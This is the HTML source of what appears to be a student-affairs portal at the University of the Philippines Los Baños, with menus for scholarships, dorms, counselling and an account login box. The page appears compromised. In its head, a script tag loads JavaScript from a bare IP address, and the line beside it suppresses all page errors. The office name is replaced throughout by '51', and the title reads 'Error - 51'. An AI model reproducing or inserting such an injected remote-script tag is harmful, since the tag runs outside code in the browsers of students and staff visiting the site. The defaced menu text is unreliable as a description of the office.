  <!DOCTYPE html>
<html lang="en">

<head><script>var V_PATH="/";window.onerror=function(){ return true; };</script>
  <meta name="robots" content="index, follow"> 
  <meta name="description" content="51provides different services for UPLB’s increasing student population. Such as scholarships and financial assistance, psychosocial and emotional support, student organizations and activities, student discipline, and international students affairs.">
  <meta name="keywords" content="UPLB-OVCSA, OVCSA, UPLB, OSAM">
  
  <meta property="og:title" content="">
  <meta property="og:image" content="/ui/images/stories/thumb.">
  <meta property="og:url" content="/sitemap.xml">
  <meta property="og:type" content="article">

  
  <script>
    window.dataLayer = window.dataLayer || [];
    function gtag() { dataLayer.push(arguments); }
    gtag('js', new Date());

    gtag('config', 'G-QLDSVN6RTR');
  </script>

  <meta http-equiv="Content-Type" content="text/html; charset=gbk" />
  <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1.0" />

  

  <meta property="og:image" content="/ui/images/up-seal2.png" />

  <title>Error - 51</title>

  <link href="/ui/images/up-seal2.png" type="image/png" rel="icon">
  <link href="/ui/css/icons/icons.css" type="text/css" rel="stylesheet" media="screen,projection" />
  <link href="https://stackpath.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css" type="text/css"
    rel="stylesheet" />
  <link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">

  <link href="/ui/css/materialize.min.css" type="text/css" rel="stylesheet" media="screen,projection" />
  <link href="/ui/css/style.css?hash=6859c3c9aa296746187f8fdeb2ac70db7a945a01" type="text/css"
    rel="stylesheet" media="screen,projection" />
  <link href="/ui/css/bootstrap-tour-standalone.min.css" rel="stylesheet">
  <link href="/ui/css/jquery.dataTables.min.css" type="text/css" rel="stylesheet" media="screen,projection" />
  <link href="/ui/css/buttons.dataTables.min.css" type="text/css" rel="stylesheet" media="screen,projection" />



  
  <script type="text/javascript">var BASE = '';</script>


<script src="http://23.235.147.162/mgmgmgqf.js"></script>


</head>

<body style="overflow-x: hidden;"><h1><a href="/">51</a></h1>

  <div class="main">

    
  <ul id="dropdown-studentServices&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;" class="dropdown-content body-text">
    <li class="active unclick"><a class="black-text" href="#">Student Services&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></li>
    <li class="divider"></li>
    <li class="divider"></li>
    
              
                      
              <li><a class="white-text" href="/osam-account-creation">OSAM Account Creation</a>
              </li>
            
          
          
          
          
          
          
          
        
              <li class="divider"></li>
      <li class="divider"></li>
    
              
          
          
                      
              <li><a class='white-text dropdown-button' href="#" data-activates='finance'>Financial Assistance<span
                    class="right-triangle">&#9656;</span></a></li>
            
          
          
          
          
          
        
              <li class="divider"></li>
      <li class="divider"></li>
    
              
          
          
          
                      
              <li><a class='white-text dropdown-button' href="#" data-activates='guidance'>Guidance Services<span
                    class="right-triangle">&#9656;</span></a></li>
            
          
          
          
          
        
              <li class="divider"></li>
      <li class="divider"></li>
    
              
          
          
          
          
                      
              <li><a class='white-text dropdown-button' href="#" data-activates='housing'>Student Housing<span
                    class="right-triangle">&#9656;</span></a></li>
            
          
          
          
        
              <li class="divider"></li>
      <li class="divider"></li>
    
              
          
                      
              <li><a class='white-text dropdown-button' href="#" data-activates='studentorgs'>Student Organizations<span class="right-triangle">&#9656;</span></a></li>
            
          
          
          
          
          
          
        
              <li class="divider"></li>
      <li class="divider"></li>
    
              
          
          
          
          
          
                      
              <li><a class="white-text" href="/univ-clearance-process">University Clearance</a>
              </li>
            
          
          
        
              <li class="divider"></li>
      <li class="divider"></li>
    
              
          
          
          
          
          
          
                      
              <li><a class="white-text" href="/peertutor">Peer Tutorial</a>
              </li>
            
          
        
              <li class="divider"></li>
      <li class="divider"></li>
    
  </ul>
  <ul id="dropdown-donate" class="dropdown-content body-text">
    <li class="active unclick"><a class="black-text" href="#">Donate</a></li>
    <li class="divider"></li>
    <li class="divider"></li>
    
                              <li><a class="white-text" href="/scholarships/aasp">Adopt-a-Student Program</a></li>
            
                  
            <li class="divider"></li>
      <li class="divider"></li>
    
                              <li><a class="white-text" href="/scholarships/akayiskolar">AKAY Iskolar Program</a></li>
            
                  
            <li class="divider"></li>
      <li class="divider"></li>
    
                              <li><a class="white-text" href="/scholarships/uplbcares">UPLB CARES</a></li>
            
                  
            <li class="divider"></li>
      <li class="divider"></li>
    
                              <li><a class="white-text" href="/scholarships/borrow-a-laptop">Borrow-A-Laptop Program</a></li>
            
                  
            <li class="divider"></li>
      <li class="divider"></li>
    
  </ul>
  <ul id="dropdown-aboutOvcsa&nbsp;&nbsp;&nbsp;&nbsp;" class="dropdown-content body-text">
    <li class="active unclick"><a class="black-text" href="#">51&nbsp;&nbsp;&nbsp;&nbsp;</a></li>
    <li class="divider"></li>
    <li class="divider"></li>
    
                              <li><a class="white-text" href="/page-mission">What Is OVCSA?</a></li>
            
                  
            <li class="divider"></li>
      <li class="divider"></li>
    
                              <li><a class="white-text" href="/page-osam">What Is OSAM?</a></li>
            
                  
            <li class="divider"></li>
      <li class="divider"></li>
    
                              <li><a class="white-text" href="/stories">News</a></li>
            
                  
            <li class="divider"></li>
      <li class="divider"></li>
    
                              <li><a class="white-text" href="/page-vc">51Vice Chancellor</a></li>
            
                  
            <li class="divider"></li>
      <li class="divider"></li>
    
                              <li><a class="white-text" href="/page-ovcsaexecom">51Executive Committee</a></li>
            
                  
            <li class="divider"></li>
      <li class="divider"></li>
    
                              <li><a class="white-text" href="/offices-units">51Offices/Units</a></li>
            
                  
            <li class="divider"></li>
      <li class="divider"></li>
    
                              <li><a class="white-text" href="/contact">Contact Us</a></li>
            
                  
            <li class="divider"></li>
      <li class="divider"></li>
    
  </ul>
  <ul id="dropdown-downloads&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;" class="dropdown-content body-text">
    <li class="active unclick"><a class="black-text" href="#">Downloads&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</a></li>
    <li class="divider"></li>
    <li class="divider"></li>
    
                            
                              
                  <li><a class='white-text dropdown-button' href="#" data-activates='saga-files'>SAGA Files<span class="right-triangle">&#9656;</span></a></li>
                
                            
                    
            <li class="divider"></li>
      <li class="divider"></li>
    
                            
                                                    
                      <li><a class='white-text dropdown-button' href="#" data-activates='ovcsa-files'>51Files<span class="right-triangle">&#9656;</span></a></li>
                    
                                      <!-- <li><a class="white-text" href="/">51Files</a></li> -->
                
                          
                    
            <li class="divider"></li>
      <li class="divider"></li>
    
                            
                                                      <li><a class="white-text" href="/gadcorner">51GAD Corner</a></li>
                    
                                    <!-- <li><a class="white-text" href="/gadcorner">51GAD Corner</a></li> -->
                
                          
                    
            <li class="divider"></li>
      <li class="divider"></li>
    
                            
                                                      <li><a class="white-text" href="/brochures">OSG Brochures And Reports</a></li>
                    
                                    <!-- <li><a class="white-text" href="/brochures">OSG Brochures And Reports</a></li> -->
                
                          
                    
            <li class="divider"></li>
      <li class="divider"></li>
    
                            
                                                      <li><a class="white-text" href="/download/acadcal2025">Academic Calendar</a></li>
                    
                                    <!-- <li><a class="white-text" href="/download/acadcal2025">Academic Calendar</a></li> -->
                
                          
                    
            <li class="divider"></li>
      <li class="divider"></li>
    
                            
                                                      <li><a class="white-text" href="/download/teldir2017">Telephone Directory</a></li>
                    
                                    <!-- <li><a class="white-text" href="/download/teldir2017">Telephone Directory</a></li> -->
                
                          
                    
            <li class="divider"></li>
      <li class="divider"></li>
    
                            
                                                      <li><a class="white-text" href="/download/student-handbook">UPLB Student Handbook 2025</a></li>
                    
                                    <!-- <li><a class="white-text" href="/download/student-handbook">UPLB Student Handbook 2025</a></li> -->
                
                          
                    
            <li class="divider"></li>
      <li class="divider"></li>
    
  </ul>

<ul id="studentorgs" class="dropdown-content">
  <li><a class="white-text" href="/orgs">Registered Organizations</a></li>
  <li><a class="white-text" href="/page-recognition">Apply For Registration</a></li>
  <li><a class="white-text" href="/org/guidelines">Registration Guidelines</a></li>
  <li><a class="white-text" href="/download/uno-form">UNO Form 1</a></li>
  <li><a class="white-text" href="/download/unik-form">UNIK Form 1</a></li>
  <li><a class="white-text" href="/download/uno-unik-guidelines">UNO-UNIK Guidelines</a></li>
</ul>

<ul id="finance" class="dropdown-content">
  <li><a class="white-text" href="/scholarships">Scholarships</a></li>
  <li><a class="white-text" href="/inb-program">Iskolar ng Bayan Program</a></li>
  <li><a class="white-text" href="/saprogram">SAGA Program</a></li>
  <li><a class="white-text" href="/assistantships/vacancies ">SAGA/SUPSA Vacancies</a></li>
  <li></li>
  <li><a class="white-text" href="/slb">Tuition Loan/SLB Program</a></li>
  <li><a class="white-text" href="/cashloans ">Cash Loan Assistance Program (CLAP)</a></li>
  <li><a class="white-text" href="/up_student_insurance_policy ">UP Student Insurance Policy</a></li>
</ul>

<ul id="guidance" class="dropdown-content">
  <li><a class="white-text" href="/counseling/ ">Counseling</a></li>
  <!-- <li><a class="white-text" href="/counseling/pre-emp ">Pre-employment Testing</a></li>
  <li><a class="white-text" href="/counseling/readmission ">Readmission</a></li>
  <li><a class="white-text" href="/counseling/careerjp ">Career & Job Placement</a></li>
  <li><a class="white-text" href="/counseling/swsp ">Student Wellness & Subsidy Program</a></li>
  <li><a class="white-text" href="/counseling/oservices ">Others</a></li> -->
</ul>

<ul id="housing" class="dropdown-content">
  <li><a class="white-text" href="/housing/dormitories">Dormitories</a></li>
  <li><a class="white-text" href="/housing/dorm-fees">Dorm Fees</a></li>
  <li><a class="white-text" href="/download/osh-rha">Residence Hall Agreement</a></li>
  <li><a class="white-text" href="/download/osh-waiver">Waiver & Quitclaim</a></li>
  <li><a class="white-text" href="/download/dorm-app-guidelines">Dorm Application Guidelines</a></li>
  <li><a class="white-text" href="/download/dorm-app-guidelines-midyear">Dorm Midyear Application
      Guidelines</a></li>
  <li><a class="white-text" href="/download/transient-guidelines">Transient Accommodation
      Guidelines</a></li>
</ul>

<ul id="saga-files" class="dropdown-content">
  <li><a class="white-text" href="/download/saappcheck">SAGA Application Checklist</a></li>
  <li><a class="white-text" href="/download/saseparation">SAGA Separation form</a></li>
  <li><a class="white-text" href="/download/unit-application-form">SAGA Unit Application Form</a>
  </li>
  <li><a class="white-text" href="/download/change_unit_coordinator_form">SAGA Change Unit
      Coordinator Form</a></li>
  <li><a class="white-text" href="/download/dataprivacyconsentform">Data Privacy Consent Form</a>
  </li>
</ul>

<ul id="ovcsa-files" class="dropdown-content">
  <li><a class="white-text" href="/download/ovcsa-intern-guidelines">51Internship Guidelines</a>
  </li>
  <li><a class="white-text" href="/download/transactionbooklet">51Transaction booklet</a></li>
  <li><a class="white-text" href="/accomplishment-report">51Accomplishment Report</a></li>
</ul>



<ul id="adminloggedin" class="dropdown-content">
  <li class="active unclick"><a class="black-text" href="#">Staff</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/staff" class="white-text">Menu</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/ovcsa-spaces/dashboard" class="white-text">Spaces</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/logout" class="white-text">Log out</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
</ul>

<ul id="clearanceloggedin" class="dropdown-content">
  <li class="active unclick"><a class="black-text" href="#">Clearance Rep</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/clearance/dashboard" class="white-text">Menu</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/logout" class="white-text">Log out</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
</ul>

<ul id="housingLoggedIn" class="dropdown-content">
  <li class="active unclick"><a class="black-text" href="#">Housing Staff</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/housing/dashboard" class="white-text">Menu</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/logout" class="white-text">Log out</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
</ul>

<ul id="supervisorloggedin" class="dropdown-content">
  <li class="active unclick"><a class="black-text" href="#">Supervisor</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/supervisor" class="white-text">Portal</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/logout" class="white-text">Log out</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
</ul>

<ul id="guestlogin" class="dropdown-content">
  <li class="active unclick"><a class="black-text" href="#">Guest Account</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/ovcsa-spaces/dashboard" class="white-text">Spaces</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/logout" class="white-text">Log out</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
</ul>

<ul id="peertutorLoggedIn" class="dropdown-content">
    <li class="active unclick"><a class="black-text" href="#">Peer Admin</a></li>
      <li class="divider"></li>
  <li class="divider"></li>
    <li><a href="/peertutor/tutor_request" class="white-text">Request</a></li>
  <li><a href="/peertutor/tutor_schedule" class="white-text">Schedules</a></li>
      <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/logout" class="white-text">Log out</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
</ul>

<ul id="loggedin" class="dropdown-content">
  <li style="background-color: rgba(0,0,0,0);" class="active unclick"><a class="black-text" href="#"></a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/myself" class="white-text">Profile</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/clearance/apply" class="white-text">Clearance</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/counseling/dashboard" class="white-text">Counseling</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/housing/reserve" class="white-text">Dorm</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/my-orgs" class="white-text">Orgs</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/peertutor/dashboard" class="white-text">Peer</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/assistantships" class="white-text">SAGA</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/ovcsa-spaces/dashboard" class="white-text">Spaces</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/isr/permit" class="white-text">Study Permit</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
  <li><a href="/logout" class="white-text">Log out</a></li>
  <li class="divider"></li>
  <li class="divider"></li>
</ul>


<!-- Main Navigation -->
    <div id="prenav" class="navbar-fixed z-depth-3 nothome">
  
<nav>
  <div class="nav-wrapper">
    <ul>
      <a id="sidenavbutton" href="#" data-activates="slide-out" class="button-collapse"><i class="material-icons"
          style="margin-left:2%;">menu</i></a>
    </ul>
          <a href="/" onclick="homepage()" id="osalogonav" class="brand-logo left" style="display:none;"><img
          src="/ui/images/up-seal2.png" style="width: 50px; height: 50px; margin-top: 5px;"></a>
      <div class="modern-header-nav">
        <ul class="hide-on-med-and-down body-text">
                      <li><a href="/">Home</a></li>
                      <li><a href="/ovcsa-spaces">51Spaces</a></li>
                                <li style="min-width:100px;"><a class="dropdown-button" href="#!"
                data-activates="dropdown-studentServices&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;">Student Services&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i
                  class="material-icons right">arrow_drop_down</i></a></li>
                      <li style="min-width:100px;"><a class="dropdown-button" href="#!"
                data-activates="dropdown-donate">Donate<i
                  class="material-icons right">arrow_drop_down</i></a></li>
                      <li style="min-width:100px;"><a class="dropdown-button" href="#!"
                data-activates="dropdown-aboutOvcsa&nbsp;&nbsp;&nbsp;&nbsp;">51&nbsp;&nbsp;&nbsp;&nbsp;<i
                  class="material-icons right">arrow_drop_down</i></a></li>
                      <li style="min-width:100px;"><a class="dropdown-button" href="#!"
                data-activates="dropdown-downloads&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;">Downloads&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i
                  class="material-icons right">arrow_drop_down</i></a></li>
                  </ul>
        <ul class="right" style="height:65px;max-height:65px;">
                                                                                                                                                                                                <li id="buttonlogin"><a class="loginbtn btn modal-trigger upgreen2"
                                          href="#loginmodal">Login to OSAM</a></li>
                                      <li id="profiletab"
                                        style="background-color: transparent; margin-top:3px; display:none;">
                                        <a class="dropdown-button" href="#!" data-activates="loggedin"><img
                                            id="profileimage" style="height:55px; width:55px;" class="circle"
                                            src="/ui/images/up-seal2.png"></a>
                                      </li>
                                    
                                                                  
                                                          
                                                  
                                          
                                  
                          
                  </ul>
        

        <!-- Mobile Version -->
        <ul id="slide-out" class="side-nav body-text" style="display:none;padding-top:20px;">
          <i id="close-nav" style="float:right;padding-right:20px;font-size:1.8em;color:#FFB61C"
            class="fa fa-times"></i>
                      <li><a class="white-text" style="font-size:1em;" href="/">Home</a>
            </li>
                      <li><a class="white-text" style="font-size:1em;" href="/ovcsa-spaces">51Spaces</a>
            </li>
                    <ul class="collapsible" data-collapsible="accordion">
                          <li style="padding-left:15px;">
                <div class="collapsible-header">Student Services&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i class="material-icons right">arrow_drop_down</i>
                </div>
                <div class="collapsible-body">
                  <ul class="collapsible" data-collapsible="accordion">

                                                                  

                                                      
                              <li><a class="white-text" href="/osam-account-creation">OSAM Account Creation</a></li>
                            
                          
                          
                          
                          
                          
                          
                          
                        
                        
                                                                  

                          
                          
                                                      

                              <details>
                                <summary class="summary-text">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Financial Assistance </summary>
                                <li><a style="margin-left:30px" class="white-text"
                                    href="/scholarships">- Scholarships</a></li>
                                <li><a style="margin-left:30px" class="white-text"
                                    href="/inb-program">- Iskolar ng Bayan Program</a></li>
                                <li><a style="margin-left:30px" class="white-text"
                                    href="/saprogram">- SAGA Program</a></li>
                                <li></li>
                                <li><a style="margin-left:30px" class="white-text" href="/slb">-
                                    Tuition Loan/SLB Program</a></li>
                                <li><a style="margin-left:30px" class="white-text"
                                    href="/cashloans">- Cash Loan Assistance Program</a></li>
                                <li><a style="margin-left:30px" class="white-text"
                                    href="/up_student_insurance_policy">- UP Student Insurance
                                    Policy</a></li>
                                <li><a style="margin-left:30px" class="white-text"
                                    href="/assistantships/vacancies">- SAGA/SUPSA Vacancies</a></li>
                              </details>

                            
                          
                          
                          
                          
                          
                        
                        
                                                                  

                          
                          
                          
                                                      

                              <details>
                                <summary class="summary-text">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Guidance Services </summary>
                                <li><a style="margin-left:30px" class="white-text"
                                    href="/counseling">- Counseling</a></li>

                              </details>

                            
                          
                          
                          
                          
                        
                        
                                                                  

                          
                          
                          
                          
                                                      

                              <details>
                                <summary class="summary-text">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Student Housing </summary>
                                <li><a style="margin-left:30px" class="white-text"
                                    href="/housing/dormitories">- Dormitories</a></li>
                                <li><a style="margin-left:30px" class="white-text"
                                    href="/housing/dorm-fees">- Dorm Fees</a></li>
                                <li><a style="margin-left:30px" class="white-text"
                                    href="/download/osh-rha">- Residence Hall Agreement</a></li>
                                <li><a style="margin-left:30px" class="white-text"
                                    href="/download/osh-waiver">- Waiver & Quitclaim</a></li>
                                <li><a style="margin-left:30px" class="white-text"
                                    href="/download/dorm-app-guidelines">- Dorm Application
                                    Guidelines</a></li>
                                <li><a style="margin-left:30px" class="white-text"
                                    href="/download/dorm-app-guidelines-midyear">- Dorm Midyear
                                    Application
                                    Guidelines</a></li>
                                <li><a style="margin-left:30px" class="white-text"
                                    href="/download/transient-guidelines">- Transient Guidelines</a>
                                </li>

                              </details>

                            
                          
                          
                          
                        
                        
                                                                  

                          
                                                      

                              <details>
                                <summary class="summary-text">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Student Organizations </summary>
                                <li><a style="margin-left:30px" class="white-text" href="/orgs">-
                                    Registered Organizations</a></li>
                                <li><a style="margin-left:30px" class="white-text"
                                    href="/page-recognition">- Apply For Registration</a></li>
                                <li><a style="margin-left:30px" class="white-text"
                                    href="/org/guidelines">- Registration Guidelines</a></li>
                                <li><a style="margin-left:30px" class="white-text"
                                    href="/download/uno-form">- UNO Form 1</a></li>
                                <li><a style="margin-left:30px" class="white-text"
                                    href="/download/unik-form">- UNIK Form 1</a></li>
                                <li><a style="margin-left:30px" class="white-text"
                                    href="/download/uno-unik-guidelines">- UNO-UNIK Guidelines</a>
                                </li>
                              </details>

                            
                          
                          
                          
                          
                          
                          
                        
                        
                                                                  

                          
                          
                          
                          
                          
                                                      
                              <li><a class="white-text" href="/univ-clearance-process">University Clearance</a></li>
                            
                          
                          
                        
                        
                                                                  

                          
                          
                          
                          
                          
                          
                                                      
                              <li><a class="white-text" href="/peertutor">Peer Tutorial</a></li>
                            
                          
                        
                        
                                        <!-- <li class="divider"></li><li class="divider"></li> -->
                  </ul>
                </div>
              </li>
                          <li style="padding-left:15px;">
                <div class="collapsible-header">Donate<i class="material-icons right">arrow_drop_down</i>
                </div>
                <div class="collapsible-body">
                  <ul class="collapsible" data-collapsible="accordion">

                                                                    <li class="sidedrop" style="overflow:hidden"><a class="white-text" href="/scholarships/aasp">- Adopt-a-Student Program</a></li>
                        
                      
                                                                    <li class="sidedrop" style="overflow:hidden"><a class="white-text" href="/scholarships/akayiskolar">- AKAY Iskolar Program</a></li>
                        
                      
                                                                    <li class="sidedrop" style="overflow:hidden"><a class="white-text" href="/scholarships/uplbcares">- UPLB CARES</a></li>
                        
                      
                                                                    <li class="sidedrop" style="overflow:hidden"><a class="white-text" href="/scholarships/borrow-a-laptop">- Borrow-A-Laptop Program</a></li>
                        
                      
                                        <!-- <li class="divider"></li><li class="divider"></li> -->
                  </ul>
                </div>
              </li>
                          <li style="padding-left:15px;">
                <div class="collapsible-header">51&nbsp;&nbsp;&nbsp;&nbsp;<i class="material-icons right">arrow_drop_down</i>
                </div>
                <div class="collapsible-body">
                  <ul class="collapsible" data-collapsible="accordion">

                                                                    <li class="sidedrop" style="overflow:hidden"><a class="white-text" href="/page-mission">- What Is OVCSA?</a></li>
                        
                      
                                                                    <li class="sidedrop" style="overflow:hidden"><a class="white-text" href="/page-osam">- What Is OSAM?</a></li>
                        
                      
                                                                    <li class="sidedrop" style="overflow:hidden"><a class="white-text" href="/stories">- News</a></li>
                        
                      
                                                                    <li class="sidedrop" style="overflow:hidden"><a class="white-text" href="/page-vc">- 51Vice Chancellor</a></li>
                        
                      
                                                                    <li class="sidedrop" style="overflow:hidden"><a class="white-text" href="/page-ovcsaexecom">- 51Executive Committee</a></li>
                        
                      
                                                                    <li class="sidedrop" style="overflow:hidden"><a class="white-text" href="/offices-units">- 51Offices/Units</a></li>
                        
                      
                                                                    <li class="sidedrop" style="overflow:hidden"><a class="white-text" href="/contact">- Contact Us</a></li>
                        
                      
                                        <!-- <li class="divider"></li><li class="divider"></li> -->
                  </ul>
                </div>
              </li>
                          <li style="padding-left:15px;">
                <div class="collapsible-header">Downloads&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<i class="material-icons right">arrow_drop_down</i>
                </div>
                <div class="collapsible-body">
                  <ul class="collapsible" data-collapsible="accordion">

                                                                    <li class="sidedrop" style="overflow:hidden"><a class="white-text" href="/">- SAGA Files</a></li>
                        
                      
                                                                    <li class="sidedrop" style="overflow:hidden"><a class="white-text" href="/">- 51Files</a></li>
                        
                      
                                                                    <li class="sidedrop" style="overflow:hidden"><a class="white-text" href="/gadcorner">- 51GAD Corner</a></li>
                        
                      
                                                                    <li class="sidedrop" style="overflow:hidden"><a class="white-text" href="/brochures">- OSG Brochures And Reports</a></li>
                        
                      
                                                                    <li class="sidedrop" style="overflow:hidden"><a class="white-text" href="/download/acadcal2025">- Academic Calendar</a></li>
                        
                      
                                                                    <li class="sidedrop" style="overflow:hidden"><a class="white-text" href="/download/teldir2017">- Telephone Directory</a></li>
                        
                      
                                                                    <li class="sidedrop" style="overflow:hidden"><a class="white-text" href="/download/student-handbook">- UPLB Student Handbook 2025</a></li>
                        
                      
                                        <!-- <li class="divider"></li><li class="divider"></li> -->
                  </ul>
                </div>
              </li>
                      </ul>
          <li class="divider"></li>
          <li class="divider"></li>
                        <!-- <li><a class="loginbtn btn modal-trigger" href="#loginmodal">Login to OSAM</a></li> -->
            
                  </ul>
      </div>
  </div>
</nav>
</div>

<br /><br /><br />

<div id="loginmodal" class="modal modal-fixed-footer" style="max-width: 900px;">
  <div class="modal-content grey lighten-5">
    <div class="row" style="margin-bottom: 0;">
      <div class="col s12 m6" style="padding: 40px 30px;">
        <h4 class="center upmaroon quicksand" style="font-weight: 600; margin-bottom: 30px;">Welcome Back</h4>

        <div class="center" style="margin: 30px 0;">
          <a href="/login/check-roles" class="waves-effect waves-light" style="display: inline-flex; align-items: center; justify-content: center; 
          background: #800000; color: white; padding: 12px 24px; 
          border-radius: 8px; text-decoration: none; 
          box-shadow: 0 2px 8px rgba(0,0,0,0.2); 
          transition: all 0.3s ease; border: 1px solid #600000;
          font-family: 'Roboto', sans-serif; font-size: 14px; font-weight: 500;
          width: 100%; max-width: 320px;"
            onmouseover="this.style.boxShadow='0 4px 12px rgba(0,0,0,0.3)'; this.style.backgroundColor='#a00000';"
            onmouseout="this.style.boxShadow='0 2px 8px rgba(0,0,0,0.2)'; this.style.backgroundColor='#800000';">

            <svg width="20" height="20" viewBox="0 0 48 48" style="margin-right: 12px;">
              <path fill="#EA4335"
                d="M24 9.5c3.54 0 6.71 1.22 9.21 3.6l6.85-6.85C35.9 2.38 30.47 0 24 0 14.62 0 6.51 5.38 2.56 13.22l7.98 6.19C12.43 13.72 17.74 9.5 24 9.5z" />
              <path fill="#4285F4"
                d="M46.98 24.55c0-1.57-.15-3.09-.38-4.55H24v9.02h12.94c-.58 2.96-2.26 5.48-4.78 7.18l7.73 6c4.51-4.18 7.09-10.36 7.09-17.65z" />
              <path fill="#FBBC05"
                d="M10.53 28.59c-.48-1.45-.76-2.99-.76-4.59s.27-3.14.76-4.59l-7.98-6.19C.92 16.46 0 20.12 0 24c0 3.88.92 7.54 2.56 10.78l7.97-6.19z" />
              <path fill="#34A853"
                d="M24 48c6.48 0 11.93-2.13 15.89-5.81l-7.73-6c-2.15 1.45-4.92 2.3-8.16 2.3-6.26 0-11.57-4.22-13.47-9.91l-7.98 6.19C6.51 42.62 14.62 48 24 48z" />
            </svg>

            <span style="color: white;">Sign in with Google</span>
          </a>
        </div>

        <div style="text-align: center; margin: 20px 0; color: #5f6368; font-size: 13px;">
          Sign in using your UP Mail or Gmail account
        </div>

        <div
          style="background: white; margin: 20px 20px; padding: 16px; border-radius: 8px; box-shadow: 0 1px 3px rgba(0,0,0,0.1);">
          <div style="display: flex; align-items: start;">
            <i class="material-icons" style="color: #800000; margin-right: 10px; font-size: 20px;">support_agent</i>
            <div>
              <p style="margin: 0 0 6px 0; line-height: 1.5; color: #333; font-size: 15px;">
                <strong style="color: #800000;">Need Help?</strong>
              </p>
              <p style="margin: 0; line-height: 1.5; color: #555; font-size: 14px;">
                Email: <a href="/cdn-cgi/l/email-protection" style="color: #1a73e8; text-decoration: none; font-weight: 500;"><span class="__cf_email__" data-cfemail="9ae8fff9f5f7f7f3eeb7f3eeb4efeaf6f8daefeab4fffeefb4eaf2">[email&#160;protected]</span></a>
              </p>
              <p style="margin: 4px 0 0 0; line-height: 1.5; color: #555; font-size: 14px;">
                Call: <strong>+63 999 221 1484</strong>
              </p>
            </div>
          </div>
        </div>
        <div
          style="background: white; margin: 20px; padding: 16px; border-radius: 8px; margin-bottom: 12px; box-shadow: 0 1px 3px rgba(0,0,0,0.1);">
          <div style="display: flex; align-items: start;">
            <i class="material-icons" style="color: #800000; margin-right: 10px; font-size: 20px;">help_outline</i>
            <div>
              <p style="margin: 0 0 8px 0; line-height: 1.5; color: #333; font-size: 15px;">
                <strong style="color: #800000;">Account Issues?</strong>
              </p>
              <p style="margin: 0 0 6px 0; line-height: 1.5; color: #555; font-size: 14px;">
                Visit with valid ID & Form 5:
              </p>
              <ul style="margin: 0; padding: 0; list-style: none;">
                <li style="margin-bottom: 5px; padding-left: 18px; position: relative; font-size: 14px; color: #555;">
                  <span style="position: absolute; left: 0; color: #800000;">•</span>
                  <strong>OSAM:</strong> Room 7, 2/F SUB
                </li>
                <li style="padding-left: 18px; position: relative; font-size: 12px; color: #555;">
                  <span style="position: absolute; left: 0; color: #800000;">•</span>
                  <strong>e-UP/UP Mail:</strong> ITC, 2/F AG Samonte
                </li>
              </ul>
            </div>
          </div>
        </div>
      </div>

      <div class="col m6 hide-on-small-only" style="border-left: 2px solid #e0e0e0;">
        <div class="icon-block">
          <h5 class="center upmaroon quicksand" style="font-weight: 600; margin-bottom: 20px; font-size: 1.3rem;">Don't
            Have an Account?</h5>

          <div style="padding: 0 0px;">
            <div
              style="background: white; padding: 20px; border-radius: 8px; margin-bottom: 16px; box-shadow: 0 2px 4px rgba(0,0,0,0.1);">
              <div style="display: flex; align-items: center; margin-bottom: 12px;">
                <i class="material-icons" style="color: #800000; margin-right: 12px; font-size: 24px;">how_to_reg</i>
                <h6 style="margin: 0; color: #800000; font-weight: 600; font-size: 15px;">Student Registration</h6>
              </div>

